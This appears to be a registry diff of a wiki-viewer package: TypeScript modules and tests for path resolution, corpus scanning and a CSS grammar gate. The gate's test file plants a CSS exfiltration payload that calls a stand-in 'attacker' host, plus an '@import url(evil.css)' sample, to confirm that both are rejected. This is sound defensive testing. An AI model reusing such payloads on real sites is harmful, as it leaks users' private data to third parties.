@immediately-run/grove 0.1.2 → 0.1.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (77) hide show
  1. package/README.md +43 -115
  2. package/llms.txt +5 -2
  3. package/package.json +12 -10
  4. package/src/App.tsx +11 -7
  5. package/src/GroveApp.css +484 -152
  6. package/src/GroveWiki.tsx +105 -30
  7. package/src/components/AssetImage.tsx +1 -12
  8. package/src/components/Backlinks.tsx +2 -2
  9. package/src/components/Catalogue.test.tsx +157 -0
  10. package/src/components/ContentTheme.test.tsx +146 -0
  11. package/src/components/ContentTheme.tsx +111 -0
  12. package/src/components/DocList.infinite.test.tsx +177 -0
  13. package/src/components/DocList.tsx +82 -9
  14. package/src/components/Drawer.tsx +14 -2
  15. package/src/components/EntryHeader.tsx +23 -12
  16. package/src/components/EntryImage.test.tsx +210 -0
  17. package/src/components/EntryImage.tsx +47 -0
  18. package/src/components/Galleries.test.tsx +98 -0
  19. package/src/components/GroveAgent.test.tsx +330 -0
  20. package/src/components/GroveAgent.tsx +269 -150
  21. package/src/components/GroveNav.test.tsx +145 -5
  22. package/src/components/GroveNav.tsx +51 -8
  23. package/src/components/Icon.tsx +0 -1
  24. package/src/components/InlineProse.tsx +37 -0
  25. package/src/components/LayoutGallery.tsx +65 -0
  26. package/src/components/PageView.tsx +18 -3
  27. package/src/components/Search.test.tsx +113 -0
  28. package/src/components/Search.tsx +53 -18
  29. package/src/components/Sidebar.test.tsx +135 -0
  30. package/src/components/Sidebar.tsx +114 -12
  31. package/src/components/TableOfContents.test.tsx +27 -16
  32. package/src/components/ThemeAssets.test.tsx +109 -0
  33. package/src/components/ThemeAssets.tsx +63 -0
  34. package/src/components/ThemeGallery.tsx +31 -0
  35. package/src/components/Timeline.tsx +5 -2
  36. package/src/components/WikiLink.tsx +2 -2
  37. package/src/data/catalogue.ts +54 -0
  38. package/src/data/themeFonts.ts +58 -0
  39. package/src/data/themes.ts +16 -7
  40. package/src/hooks/{useCorpusMetadata.ts → useBundleMetadata.ts} +6 -6
  41. package/src/hooks/useContentComponents.ts +1 -1
  42. package/src/hooks/useEditAffordance.ts +17 -4
  43. package/src/hooks/useOverlayFocusDismiss.test.tsx +139 -0
  44. package/src/hooks/useOverlayFocusDismiss.ts +118 -0
  45. package/src/hooks/useScrollReset.test.tsx +132 -0
  46. package/src/hooks/useScrollReset.ts +52 -0
  47. package/src/index.css +9 -2
  48. package/src/lib/agentPrompt.test.ts +96 -0
  49. package/src/lib/agentPrompt.ts +86 -0
  50. package/src/lib/agentTools.test.ts +115 -0
  51. package/src/lib/agentTools.ts +132 -0
  52. package/src/lib/agentTranscript.ts +50 -0
  53. package/src/lib/assetPath.test.ts +36 -0
  54. package/src/lib/assetPath.ts +42 -0
  55. package/src/lib/collectionCalls.test.ts +69 -0
  56. package/src/lib/content.test.ts +10 -2
  57. package/src/lib/content.ts +7 -0
  58. package/src/lib/contentStylesheet.test.ts +80 -0
  59. package/src/lib/contentStylesheet.ts +103 -0
  60. package/src/lib/corpusScan.test.ts +37 -3
  61. package/src/lib/corpusScan.ts +17 -2
  62. package/src/lib/inlineProse.parity.test.ts +52 -0
  63. package/src/lib/layout.ts +29 -0
  64. package/src/lib/pageVariants.test.tsx +87 -0
  65. package/src/lib/queries.test.ts +33 -1
  66. package/src/lib/queries.ts +33 -1
  67. package/src/lib/reachCard.test.ts +94 -0
  68. package/src/lib/reachCard.ts +112 -0
  69. package/src/lib/shell.ts +7 -0
  70. package/src/lib/starterSweep.test.tsx +160 -0
  71. package/src/lib/starterSweep.ts +97 -0
  72. package/src/lib/themeAssets.test.ts +135 -0
  73. package/src/lib/themeAssets.ts +143 -0
  74. package/src/lib/themeSelection.test.ts +2 -2
  75. package/src/mdxComponents.ts +4 -0
  76. package/viewer-manifest.schema.json +67 -0
  77. package/viewer.manifest.json +132 -6
@@ -0,0 +1,50 @@
1
+ // Transcript mapping (GROVE_AGENT_SPEC S2): the loop's AgentMessage[] → the rows
2
+ // the panel renders. Tool traffic becomes compact activity rows ("read
3
+ // wiki/security.mdx", "queried the index") — the model's own text streams as
4
+ // assistant rows, and nothing from a tool result is rendered unfenced into the
5
+ // transcript surface.
6
+
7
+ import type { AgentMessage } from '@immediately-run/sdk';
8
+ import { READ_ENTRY_TOOL_NAME } from './agentTools';
9
+ import { METADATA_QUERY_TOOL_NAME } from '@immediately-run/sdk';
10
+
11
+ export type AgentRow =
12
+ | { kind: 'user'; text: string }
13
+ | { kind: 'assistant'; text: string }
14
+ | { kind: 'activity'; text: string };
15
+
16
+ /** One tool call, as a line the reader can scan. */
17
+ export function toolActivityLine(name: string, input: Record<string, unknown>): string {
18
+ if (name === READ_ENTRY_TOOL_NAME) return `read ${String(input.path ?? '?')}`;
19
+ if (name === METADATA_QUERY_TOOL_NAME) {
20
+ const w = input.where;
21
+ if (Array.isArray(w) && w.length) {
22
+ const first = w[0] as { key?: unknown; value?: unknown };
23
+ return `queried the index — ${String(first.key ?? '')} ${String(first.value ?? '')}`.trim();
24
+ }
25
+ return 'queried the index';
26
+ }
27
+ return name;
28
+ }
29
+
30
+ export function transcriptToRows(messages: AgentMessage[]): AgentRow[] {
31
+ const rows: AgentRow[] = [];
32
+ for (const m of messages) {
33
+ if (m.role === 'user') {
34
+ const toolResults = m.content.filter((b) => b.type === 'tool_result');
35
+ if (toolResults.length) continue; // activity, rendered at its tool_use site
36
+ const text = m.content
37
+ .filter((b): b is { type: 'text'; text: string } => b.type === 'text')
38
+ .map((b) => b.text)
39
+ .join('');
40
+ if (text.trim()) rows.push({ kind: 'user', text: text.trim() });
41
+ } else {
42
+ const blocks = m.content;
43
+ for (const b of blocks) {
44
+ if (b.type === 'text' && b.text.trim()) rows.push({ kind: 'assistant', text: b.text.trim() });
45
+ else if (b.type === 'tool_use') rows.push({ kind: 'activity', text: toolActivityLine(b.name, b.input) });
46
+ }
47
+ }
48
+ }
49
+ return rows;
50
+ }
@@ -0,0 +1,36 @@
1
+ // The pure resolver (R3-313): entry-relative resolution against the OWNING entry,
2
+ // the absolute-`/` escape, traversal, and the degrade-to-empty contract.
3
+ import { describe, it, expect } from 'vitest';
4
+ import { resolvePath, entryAssetRelPath } from './assetPath';
5
+
6
+ describe('resolvePath', () => {
7
+ it('resolves relative to the base file directory', () => {
8
+ expect(resolvePath('/app/content/wiki/a.mdx', 'pic.png')).toBe('/app/content/wiki/pic.png');
9
+ expect(resolvePath('/app/content/wiki/a.mdx', './pic.png')).toBe('/app/content/wiki/pic.png');
10
+ expect(resolvePath('/app/content/wiki/a.mdx', '../img/pic.png')).toBe('/app/content/img/pic.png');
11
+ expect(resolvePath('/app/content/wiki/deep/a.mdx', '../../pic.png')).toBe('/app/content/pic.png');
12
+ });
13
+
14
+ it('an absolute reference roots at the filesystem (the body-image escape rule)', () => {
15
+ expect(resolvePath('/app/content/wiki/a.mdx', '/app/assets/x.svg')).toBe('/app/assets/x.svg');
16
+ });
17
+ });
18
+
19
+ describe('entryAssetRelPath — the MountImage feed', () => {
20
+ it('strips the root for the root-anchored mount', () => {
21
+ expect(entryAssetRelPath('/app/content/wiki/a.mdx', 'pic.png')).toBe('app/content/wiki/pic.png');
22
+ });
23
+
24
+ it('empty/absent/malformed src degrades to "" (caller renders the lattice)', () => {
25
+ expect(entryAssetRelPath('/app/content/a.mdx', undefined)).toBe('');
26
+ expect(entryAssetRelPath('/app/content/a.mdx', null)).toBe('');
27
+ expect(entryAssetRelPath('/app/content/a.mdx', '')).toBe('');
28
+ expect(entryAssetRelPath('/app/content/a.mdx', ' ')).toBe('');
29
+ });
30
+
31
+ it('UNDER DISPATCH the resolved path carries the chroot prefix only as the READ key — the component publishes MountImage object URLs, never this string', () => {
32
+ // The mount key space is the metadata key space; resolution is prefix-faithful…
33
+ expect(entryAssetRelPath('/mnt/abc123def456/wiki/a.mdx', 'pic.png')).toBe('mnt/abc123def456/wiki/pic.png');
34
+ // …which is exactly why the COMPONENT test asserts this string never reaches the DOM.
35
+ });
36
+ });
@@ -0,0 +1,42 @@
1
+ // Entry-relative asset resolution (R3-313) — the ONE place that turns "an entry's
2
+ // `cover:`/`img src`" into the fs path the SDK's `MountImage` reads.
3
+ //
4
+ // The distinction this module exists for: a body image resolves against the entry
5
+ // CURRENTLY BEING RENDERED (`navigationState.sandboxPath` — `AssetImage`), while a
6
+ // cover resolves against its OWNING entry — the entry the card/row/tile is ABOUT,
7
+ // which under dispatch is usually a DIFFERENT base. Getting this wrong is not a bug
8
+ // in `AssetImage`; it is the second half of design-pass gap 7: a `<DocList>` card or
9
+ // `<Timeline>` row showing another entry's picture resolved against the wrong base
10
+ // by construction.
11
+ //
12
+ // Pure path arithmetic — no fs, no React — so the dispatch guarantee (the chroot
13
+ // prefix is host knowledge the viewer reads THROUGH but never publishes) is testable
14
+ // here in isolation.
15
+
16
+ /** Resolve `relativePath` against the directory of `basePath` (both fs paths). */
17
+ export function resolvePath(basePath: string, relativePath: string): string {
18
+ if (relativePath.startsWith('/')) return relativePath;
19
+ const parts = basePath.split('/');
20
+ parts.pop(); // the base is the entry's FILE path; assets resolve against its dir
21
+ for (const part of relativePath.split('/')) {
22
+ if (part === '.' || part === '') continue;
23
+ if (part === '..') parts.pop();
24
+ else parts.push(part);
25
+ }
26
+ return parts.join('/');
27
+ }
28
+
29
+ /**
30
+ * The mount-relative path `MountImage` should read an entry-declared asset at.
31
+ *
32
+ * @param entryPath the OWNING entry's absolute fs path (the metadata key space —
33
+ * `/app/content/…` fork, `/mnt/<hash>/…` dispatch)
34
+ * @param src the declared asset reference (entry-relative, or absolute `/…` which
35
+ * roots at the filesystem — the same escape rule body images follow)
36
+ * @returns the path with the leading slash stripped (root-mount-relative), or `''`
37
+ * when there is nothing to resolve (caller degrades)
38
+ */
39
+ export function entryAssetRelPath(entryPath: string, src: string | undefined | null): string {
40
+ if (typeof src !== 'string' || !src.trim()) return '';
41
+ return resolvePath(entryPath, src.trim()).replace(/^\/+/, '');
42
+ }
@@ -0,0 +1,69 @@
1
+ // The bucket-C gate (R3-309): every documented collection call uses LITERAL
2
+ // attributes only. The interpreter copies `paginate="infinite"` verbatim but
3
+ // drops `paginate={mode}` SILENTLY — the list renders whole with nothing saying
4
+ // why, which is the one failure a corpus author cannot diagnose from inside.
5
+ //
6
+ // The scanner is pure over strings (fault-injectable); the test drives it over
7
+ // every .mdx in content/ — the starters and the sample corpus alike — because a
8
+ // shipped example with an expression prop is a lesson in the failure.
9
+ import { describe, it, expect } from 'vitest';
10
+ import { readFileSync, readdirSync } from 'node:fs';
11
+ import { join } from 'node:path';
12
+
13
+ /** The components whose calls select collection shapes (the manifest's
14
+ * `collections` section rides on these). */
15
+ export const COLLECTION_COMPONENTS = ['DocList', 'Timeline', 'ChildPages', 'DocsByTag'] as const;
16
+
17
+ /** Every attribute written as an expression (`attr={…}`) on a collection call.
18
+ * MDX attribute syntax only; braces inside fenced code are never calls. */
19
+ export function expressionPropsOf(source: string): string[] {
20
+ const out: string[] = [];
21
+ const tagRe = new RegExp(`<(${COLLECTION_COMPONENTS.join('|')})[\\s>]`, 'g');
22
+ for (const m of source.matchAll(tagRe)) {
23
+ // The tag's span: from the match to the closing `/>` or the matching `>`.
24
+ const start = m.index!;
25
+ const end = source.indexOf('/>', start);
26
+ const end2 = source.indexOf('>', start);
27
+ const stop = end === -1 ? end2 : Math.min(end, end2);
28
+ if (stop === -1) continue;
29
+ const tagText = source.slice(start, stop);
30
+ for (const a of tagText.matchAll(/(\w+)\s*=\s*\{/g)) out.push(`${m[1]}.${a[1]}`);
31
+ }
32
+ return out;
33
+ }
34
+
35
+ function allMdx(dir = ''): string[] {
36
+ const out: string[] = [];
37
+ for (const e of readdirSync(join(process.cwd(), 'content', dir), { withFileTypes: true })) {
38
+ const rel = dir ? `${dir}/${e.name}` : e.name;
39
+ if (e.isDirectory()) out.push(...allMdx(rel));
40
+ else if (e.name.endsWith('.mdx')) out.push(rel);
41
+ }
42
+ return out.sort();
43
+ }
44
+
45
+ describe('collection calls keep their attributes literal (R3-309 bucket C)', () => {
46
+ it('the scanner finds the corpus (checked > 0), starters included', () => {
47
+ const files = allMdx();
48
+ expect(files.length).toBeGreaterThan(10);
49
+ expect(files.some((f) => f.startsWith('_layouts/'))).toBe(true);
50
+ });
51
+
52
+ it('no expression prop on any collection call in content/', () => {
53
+ const offenders: string[] = [];
54
+ for (const f of allMdx()) {
55
+ const bad = expressionPropsOf(readFileSync(join(process.cwd(), 'content', f), 'utf8'));
56
+ for (const b of bad) offenders.push(`${f}: ${b}`);
57
+ }
58
+ expect(offenders).toEqual([]);
59
+ });
60
+
61
+ it('fault injection: a planted expression prop IS caught', () => {
62
+ // `paginate="infinite"` is copied verbatim; `paginate={mode}` is dropped
63
+ // silently. The gate exists for exactly this shape.
64
+ expect(expressionPropsOf('<DocList shape="grid" paginate={mode} />')).toEqual(['DocList.paginate']);
65
+ expect(expressionPropsOf('<Timeline limit={n}>x</Timeline>')).toEqual(['Timeline.limit']);
66
+ // Literals — including string numerals — pass.
67
+ expect(expressionPropsOf('<DocList shape="grid" limit="4" sort="date" />')).toEqual([]);
68
+ });
69
+ });
@@ -231,10 +231,18 @@ describe('link-space parity (LINK_SPACE_FIXTURE, R3-277b)', () => {
231
231
  // packaging's root. The mount-absolute corpus of the fixture is '/app/content'
232
232
  // — exactly the fork's — so the corpus-space cases translate verbatim; the
233
233
  // fs-rooted/no-corpus case and the chroot collapse are resolver-level (the
234
- // checker + SDK suites own them) and are skipped by corpusRoot here.
234
+ // checker + SDK suites own them) and are skipped by their root field here.
235
+ //
236
+ // The root reads NEW-THEN-OLD (`bundleRoot`, else `corpusRoot` — R3-482), matching
237
+ // the resolver and the docs harness: matching on `corpusRoot` alone would let this
238
+ // harness go quietly vacuous as fixture cases adopt the new spelling — the filter
239
+ // would drop them and nothing would go red. An explicit `bundleRoot: null` is a
240
+ // VALUE ("no bundle root"), not "absent" — it must not fall back.
235
241
  const FORK_ROOT = '/app/content';
242
+ const statedRoot = (c: (typeof LINK_SPACE_FIXTURE)[number]): string | null =>
243
+ c.bundleRoot !== undefined ? c.bundleRoot : (c.corpusRoot ?? null);
236
244
  const contentCases = LINK_SPACE_FIXTURE.filter(
237
- (c) => c.corpusRoot === FORK_ROOT && !c.bundleChrooted && c.currentFile !== undefined,
245
+ (c) => statedRoot(c) === FORK_ROOT && !c.bundleChrooted && c.currentFile !== undefined,
238
246
  );
239
247
 
240
248
  it('the fixture still reaches this harness (non-vacuous)', () => {
@@ -55,6 +55,13 @@ export function isContentEntry(key: string): boolean {
55
55
  // counts as an entry in one and not the other is a page that exists but cannot be
56
56
  // found — or an index row pointing at a layout wrapper.
57
57
  if (!key.startsWith(contentDir())) return false;
58
+ // R3-309 — underscore-prefixed DIRECTORIES are copy-source, not pages. The canon's
59
+ // entry rule excludes only the exact `_layout.mdx` filename; `content/_layouts/` (the
60
+ // layout starters) would otherwise be routable, searchable, indexed pages rendered
61
+ // mid-catalogue. This is GROVE's rooting-layer policy on top of the canon, not a
62
+ // second entry rule: the docs corpus has no `_`-directories, so the canon never
63
+ // needed the rule and grove's starters do.
64
+ if (/(?:^|\/)_[^/]+\//.test(key.slice(contentDir().length))) return false;
58
65
  return isContentEntryPath(key);
59
66
  }
60
67
 
@@ -0,0 +1,80 @@
1
+ // R3-316's grammar gate, adversarially: every forbidden shape is rejected AND
2
+ // NAMED; comment- and string-hidden attempts do not change the verdict; clean
3
+ // declarations pass with their quoted values intact.
4
+ import { describe, it, expect } from 'vitest';
5
+ import { gateStylesheet, blankCssNoise } from './contentStylesheet';
6
+
7
+ describe('clean sheets pass', () => {
8
+ it('declarations-only CSS is admitted, quoted values intact', () => {
9
+ const v = gateStylesheet('--bg: #101010;\n--font-body: "Lora", serif;\n');
10
+ expect(v.ok).toBe(true);
11
+ if (v.ok) expect(v.declarations).toContain('"Lora", serif');
12
+ });
13
+
14
+ it('comments are allowed (and carry no verdict)', () => {
15
+ const v = gateStylesheet('/* a note */\n--bg: #101010;\n');
16
+ expect(v.ok).toBe(true);
17
+ });
18
+ });
19
+
20
+ describe('the forbidden shapes are rejected and NAMED', () => {
21
+ const cases: Array<[string, string, RegExp]> = [
22
+ ['a selector', '.sidebar { display: none; }', /selector/],
23
+ ['url(', '--wash: url(paper.jpg);', /url\(/],
24
+ ['@import', '@import url(evil.css);', /@import/],
25
+ ['@font-face', '@font-face { src: url(a.woff2); }', /@font-face/],
26
+ ['@layer', '@layer grove.content { }', /layer/],
27
+ ['a bare property (not a custom prop)', 'color: red;', /custom-property/],
28
+ ['a media at-rule', '@media (min-width: 600px) { }', /at-rules/],
29
+ ];
30
+ for (const [name, css, reasonRe] of cases) {
31
+ it(`${name} → rejected, line named, excerpt quoted`, () => {
32
+ const v = gateStylesheet(`--ok: 1;\n${css}\n--ok2: 2;\n`);
33
+ expect(v.ok).toBe(false);
34
+ if (!v.ok) {
35
+ expect(v.line).toBe(2);
36
+ expect(v.reason).toMatch(reasonRe);
37
+ expect(v.excerpt.length).toBeGreaterThan(0);
38
+ }
39
+ });
40
+ }
41
+ });
42
+
43
+ describe('hidden attempts do not change the verdict (the blanking rule)', () => {
44
+ it('a url( inside a COMMENT is ignored — the comment carries no semantics', () => {
45
+ expect(gateStylesheet('/* url(nothing-here) */\n--bg: #101010;\n').ok).toBe(true);
46
+ });
47
+
48
+ it('a REAL url( after a decoy comment is still caught', () => {
49
+ const v = gateStylesheet('/* url(decoy) */\n--wash: url(real-evil.jpg);\n');
50
+ expect(v.ok).toBe(false);
51
+ if (!v.ok) expect(v.line).toBe(2);
52
+ });
53
+
54
+ it('a selector-shaped STRING inside a declaration is inert data, not a rule — admitted', () => {
55
+ // String CONTENTS are blanked for the scan (so nothing inside a string can
56
+ // smuggle a verdict-changing token) and the line remains a well-formed
57
+ // declaration; a custom property never re-interprets its value as a rule.
58
+ const v = gateStylesheet(`--note: "{ display: none; }";\n`);
59
+ expect(v.ok).toBe(true);
60
+ if (v.ok) expect(v.declarations).toContain('--note:');
61
+ });
62
+
63
+ it('blankCssNoise preserves offsets (line numbers stay true)', () => {
64
+ const src = 'a { /* comment\nspanning lines */ }';
65
+ const blanked = blankCssNoise(src);
66
+ expect(blanked.indexOf('comment')).toBe(-1);
67
+ expect(blanked.length).toBe(src.length);
68
+ });
69
+ });
70
+
71
+ describe('the existence-oracle payload — the attack the grammar exists for', () => {
72
+ it('the canonical exfiltration attempt is rejected by name', () => {
73
+ const attack = `a[href^="/content/salary-"] { background-image: url("https://attacker/?hit"); }`;
74
+ const v = gateStylesheet(attack);
75
+ expect(v.ok).toBe(false);
76
+ // Either catch is a correct rejection: the url( (the exfil channel) or the
77
+ // selector (the reach). Both are named, line-accurate verdicts.
78
+ if (!v.ok) expect(v.reason).toMatch(/selector|url\(/);
79
+ });
80
+ });
@@ -0,0 +1,103 @@
1
+ // The content-stylesheet grammar gate (R3-316; plan 05-content-carried-themes).
2
+ //
3
+ // Author-supplied CSS is contained by a GRAMMAR, not by the CSP: a `ui/stylesheet`
4
+ // entry may carry declarations and NOTHING else. A selector would let it reach
5
+ // the DOM (and hide the theme control); `url(`/`@import`/`@font-face` would let
6
+ // it name a network location — the existence-oracle channel the CSP does not
7
+ // close for an INTERPRETED, SHARED space (no CSP at all there), which is the gap
8
+ // this grammar closes in every stance.
9
+ //
10
+ // Comments and strings are BLANKED (whitespace of equal length, offsets
11
+ // preserved) before the SCAN — a `url(` inside a comment must not decide the
12
+ // outcome, and a selector hidden in a string must not be smuggled through. The
13
+ // EMITTED declarations come from the original bytes (a declaration's quoted
14
+ // values are legitimate: `--font-body: "Lora", serif;`), which is safe precisely
15
+ // because the blanked scan already proved every line is a declaration.
16
+
17
+ export type GateResult =
18
+ | { ok: true; declarations: string }
19
+ | { ok: false; line: number; reason: string; excerpt: string };
20
+
21
+ /** Blank `/* … *``/` comments and quoted strings with offset-preserving whitespace. */
22
+ export function blankCssNoise(src: string): string {
23
+ const out = src.split('');
24
+ const blank = (from: number, to: number): void => {
25
+ for (let k = from; k < to && k < out.length; k++) if (out[k] !== '\n') out[k] = ' ';
26
+ };
27
+ let i = 0;
28
+ while (i < src.length) {
29
+ const two = src.slice(i, i + 2);
30
+ if (two === '/*') {
31
+ const close = src.indexOf('*/', i + 2);
32
+ const end = close === -1 ? src.length : close + 2;
33
+ blank(i, end);
34
+ i = end;
35
+ } else if (src[i] === '"' || src[i] === "'") {
36
+ const quote = src[i];
37
+ let j = i + 1;
38
+ while (j < src.length && src[j] !== quote) j += src[j] === '\\' ? 2 : 1;
39
+ blank(i + 1, Math.min(j, src.length)); // blank the CONTENTS, keep the quotes
40
+ i = Math.min(j + 1, src.length);
41
+ } else {
42
+ i += 1;
43
+ }
44
+ }
45
+ return out.join('');
46
+ }
47
+
48
+ /** The line number (1-based) an index falls on. */
49
+ function lineOf(src: string, idx: number): number {
50
+ let line = 1;
51
+ for (let i = 0; i < idx && i < src.length; i++) if (src[i] === '\n') line += 1;
52
+ return line;
53
+ }
54
+
55
+ const REJECTS: Array<{ re: RegExp; reason: string }> = [
56
+ { re: /@import/i, reason: '@import names a location — declarations only' },
57
+ { re: /@font-face/i, reason: '@font-face is engine-emitted from declared faces, never authored' },
58
+ { re: /@layer/i, reason: 'layer order is engine-owned' },
59
+ { re: /@/i, reason: 'at-rules are not declarations' },
60
+ { re: /\burl\(/i, reason: 'url( names a location — assets are declared (fonts:/assets:), never named' },
61
+ ];
62
+
63
+ /**
64
+ * Gate a stylesheet's bytes: declarations only, each line `--token: value;`.
65
+ * A rejected verdict names the line and quotes it from the original bytes.
66
+ */
67
+ export function gateStylesheet(css: string): GateResult {
68
+ const blanked = blankCssNoise(css);
69
+ // At-rules first, so `@font-face { … }` reports @font-face (the specific
70
+ // violation) rather than the generic brace catch; url( after both.
71
+ for (const { re, reason } of REJECTS) {
72
+ const m = re.exec(blanked);
73
+ if (m) {
74
+ const line = lineOf(css, m.index);
75
+ return { ok: false, line, reason, excerpt: css.split('\n')[line - 1]?.trim().slice(0, 80) ?? '' };
76
+ }
77
+ }
78
+ const braced = blanked.search(/[{}]/);
79
+ if (braced !== -1) {
80
+ const line = lineOf(css, braced);
81
+ return {
82
+ ok: false,
83
+ line,
84
+ reason: 'a selector/rule block — a ui/stylesheet carries declarations only',
85
+ excerpt: css.split('\n')[line - 1]?.trim().slice(0, 80) ?? '',
86
+ };
87
+ }
88
+ const scanLines = blanked.split('\n');
89
+ const origLines = css.split('\n');
90
+ for (let i = 0; i < scanLines.length; i++) {
91
+ const line = scanLines[i].trim();
92
+ if (!line) continue;
93
+ if (!/^--[\w-]+\s*:[^;]*;?$/.test(line)) {
94
+ return {
95
+ ok: false,
96
+ line: i + 1,
97
+ reason: 'not a custom-property declaration (declarations only, `--token: value;`)',
98
+ excerpt: origLines[i]?.trim().slice(0, 80) ?? '',
99
+ };
100
+ }
101
+ }
102
+ return { ok: true, declarations: origLines.map((l) => l.trim()).filter(Boolean).join('\n') };
103
+ }
@@ -90,11 +90,14 @@ describe('scanCorpus — the index a dispatched viewer reads', () => {
90
90
  expect(meta['/mnt/c/themes.mdx'].owns).toEqual({ concepts: ['the-frame'] });
91
91
  });
92
92
 
93
- it('keeps an entry with NO frontmatter, with empty metadata', async () => {
93
+ it('keeps an entry with NO frontmatter, with empty metadata (plus the additive headings field)', async () => {
94
94
  // A draft or a bare `_layout.mdx` is still part of the corpus; dropping it would make
95
- // the file unroutable rather than merely unlabelled.
95
+ // the file unroutable rather than merely unlabelled. Since the headings index
96
+ // extension (GROVE_AGENT_SPEC §4) the row carries its heading list too.
96
97
  const fs = fakeFs({ '/mnt/c/raw.mdx': '# just a heading\n' });
97
- expect(await scanCorpus('/mnt/c', fs)).toEqual({ '/mnt/c/raw.mdx': {} });
98
+ expect(await scanCorpus('/mnt/c', fs)).toEqual({
99
+ '/mnt/c/raw.mdx': { headings: [{ id: 'just-a-heading', text: 'just a heading', depth: 1 }] },
100
+ });
98
101
  });
99
102
 
100
103
  it('loses only the unreadable entry, never the corpus', async () => {
@@ -155,3 +158,34 @@ describe('parseFrontmatter — the grammar the authoring contract documents', ()
155
158
  expect(parseFrontmatter(src).data).toEqual({});
156
159
  });
157
160
  });
161
+
162
+ describe('scanCorpus — the additive headings index (GROVE_AGENT_SPEC §4)', () => {
163
+ it('G-GA-7 — a scan emits headings whose ids match the rendered anchors (the mdx-plugins canon)', async () => {
164
+ const fs = fakeFs({
165
+ '/mnt/c/a.mdx': '---\ntitle: A\n---\n\n## 8. Capability model\n\n## Getting started\n\n## Getting started\n',
166
+ });
167
+ const meta = await scanCorpus('/mnt/c', fs);
168
+ expect(meta['/mnt/c/a.mdx']).toMatchObject({
169
+ title: 'A',
170
+ headings: [
171
+ { id: 'sec-8', text: '8. Capability model', depth: 2 },
172
+ { id: 'getting-started', text: 'Getting started', depth: 2 },
173
+ { id: 'getting-started-1', text: 'Getting started', depth: 2 },
174
+ ],
175
+ });
176
+ });
177
+
178
+ it('the author own `headings` frontmatter key wins over the computed field', async () => {
179
+ const fs = fakeFs({
180
+ '/mnt/c/a.mdx': '---\ntitle: A\nheadings: authored\n---\n\n## One\n',
181
+ });
182
+ const meta = await scanCorpus('/mnt/c', fs);
183
+ expect(meta['/mnt/c/a.mdx']).toEqual({ title: 'A', headings: 'authored' });
184
+ });
185
+
186
+ it('a heading-less entry simply lacks the field (the old-index degrade)', async () => {
187
+ const fs = fakeFs({ '/mnt/c/a.mdx': '---\ntitle: A\n---\n\nprose only\n' });
188
+ const meta = await scanCorpus('/mnt/c', fs);
189
+ expect(meta['/mnt/c/a.mdx']).toEqual({ title: 'A' });
190
+ });
191
+ });
@@ -21,6 +21,7 @@
21
21
 
22
22
  import type { Frontmatter } from './frontmatter';
23
23
  import { parseFrontmatter } from './frontmatter';
24
+ import { collectHeadings } from '@immediately-run/sdk';
24
25
 
25
26
  /** The metadata map shape the SDK hooks read (`FilesMetadata`). */
26
27
  export type CorpusMetadata = Record<string, Frontmatter>;
@@ -71,7 +72,14 @@ export async function listCorpusFiles(root: string, fs: ScanFs, maxDepth = 12):
71
72
  return out.sort();
72
73
  }
73
74
 
74
- /** Read + parse a list of entries into the metadata map, bounded-concurrently. */
75
+ /** Read + parse a list of entries into the metadata map, bounded-concurrently.
76
+ *
77
+ * The additive headings index extension (GROVE_AGENT_SPEC §4): a dispatched row
78
+ * carries its entry's `headings: [{id, text, depth}]`, ids from the same
79
+ * mdx-plugins canon the render path emits (via the SDK's `collectHeadings` — one
80
+ * implementation, shared with the tool that reads the field). The author's own
81
+ * frontmatter `headings` key wins; a row with none of either simply lacks the
82
+ * field (readers degrade to body reads). */
75
83
  async function readAll(paths: string[], fs: ScanFs): Promise<CorpusMetadata> {
76
84
  const meta: CorpusMetadata = {};
77
85
  let next = 0;
@@ -82,7 +90,14 @@ async function readAll(paths: string[], fs: ScanFs): Promise<CorpusMetadata> {
82
90
  const path = paths[i];
83
91
  try {
84
92
  const raw = await fs.readFile(path, 'utf8');
85
- meta[path] = parseFrontmatter(raw).data;
93
+ const parsed = parseFrontmatter(raw);
94
+ const row = parsed.data;
95
+ const headings = collectHeadings(parsed.body);
96
+ if (headings.length && !Object.prototype.hasOwnProperty.call(row, 'headings')) {
97
+ meta[path] = { ...row, headings } as Frontmatter & { headings?: unknown };
98
+ } else {
99
+ meta[path] = row;
100
+ }
86
101
  } catch {
87
102
  // One unreadable entry must not empty the whole corpus. It is simply absent from
88
103
  // the index — the same state it would be in if the author had not written it.
@@ -0,0 +1,52 @@
1
+ // R3-531 — the parity assertion: `parseInlineProse` agrees with the SDK safe
2
+ // renderer's actual micromark path on the supported subset.
3
+ //
4
+ // The canon test lives in mdx-plugins; this one runs the SAME fixture through
5
+ // `parseSafeMdast` (the real producer — the same published bytes the sandbox
6
+ // resolves, inlined into these tests for exactly that reason) and asserts the
7
+ // first paragraph's inline children, normalised into `InlineProseNode`s, equal
8
+ // what the canon parses. Agreement by parallel implementation is a promise;
9
+ // this is the mechanism.
10
+ import { describe, expect, it } from 'vitest';
11
+ import { parseSafeMdast, type SafeMdastNode } from '@immediately-run/sdk';
12
+ import { INLINE_PROSE_FIXTURE, parseInlineProse, type InlineProseNode } from '@immediately-run/mdx-plugins';
13
+
14
+ // mdast inline vocabulary → InlineProseNode. Only the supported subset maps;
15
+ // anything else (a link, raw html) the fixture never produces, and a node of
16
+ // that shape failing the deep-equal is the drift alarm firing.
17
+ function toInlineProse(nodes: SafeMdastNode[]): InlineProseNode[] {
18
+ return nodes.map((n): InlineProseNode => {
19
+ switch (n.type) {
20
+ case 'text':
21
+ return { type: 'text', value: n.value ?? '' };
22
+ case 'inlineCode':
23
+ return { type: 'code', value: n.value ?? '' };
24
+ case 'strong':
25
+ return { type: 'strong', children: toInlineProse(n.children ?? []) };
26
+ case 'emphasis':
27
+ return { type: 'emphasis', children: toInlineProse(n.children ?? []) };
28
+ default:
29
+ throw new Error(`unexpected mdast node in a fixture paragraph: ${n.type}`);
30
+ }
31
+ });
32
+ }
33
+
34
+ describe('parseInlineProse matches the safe renderer on the supported subset', () => {
35
+ for (const c of INLINE_PROSE_FIXTURE) {
36
+ it(`agrees with parseSafeMdast: ${JSON.stringify(c.text).slice(0, 48)}`, async () => {
37
+ const tree = await parseSafeMdast(`\n${c.text}\n`);
38
+ const paragraph = tree.children?.find((n) => n.type === 'paragraph');
39
+ if (!paragraph) {
40
+ // The one case micromark renders as NO paragraph — an empty field —
41
+ // and the canon agrees by returning no nodes at all.
42
+ expect(c.tokens).toEqual([]);
43
+ expect(parseInlineProse(c.text)).toEqual([]);
44
+ return;
45
+ }
46
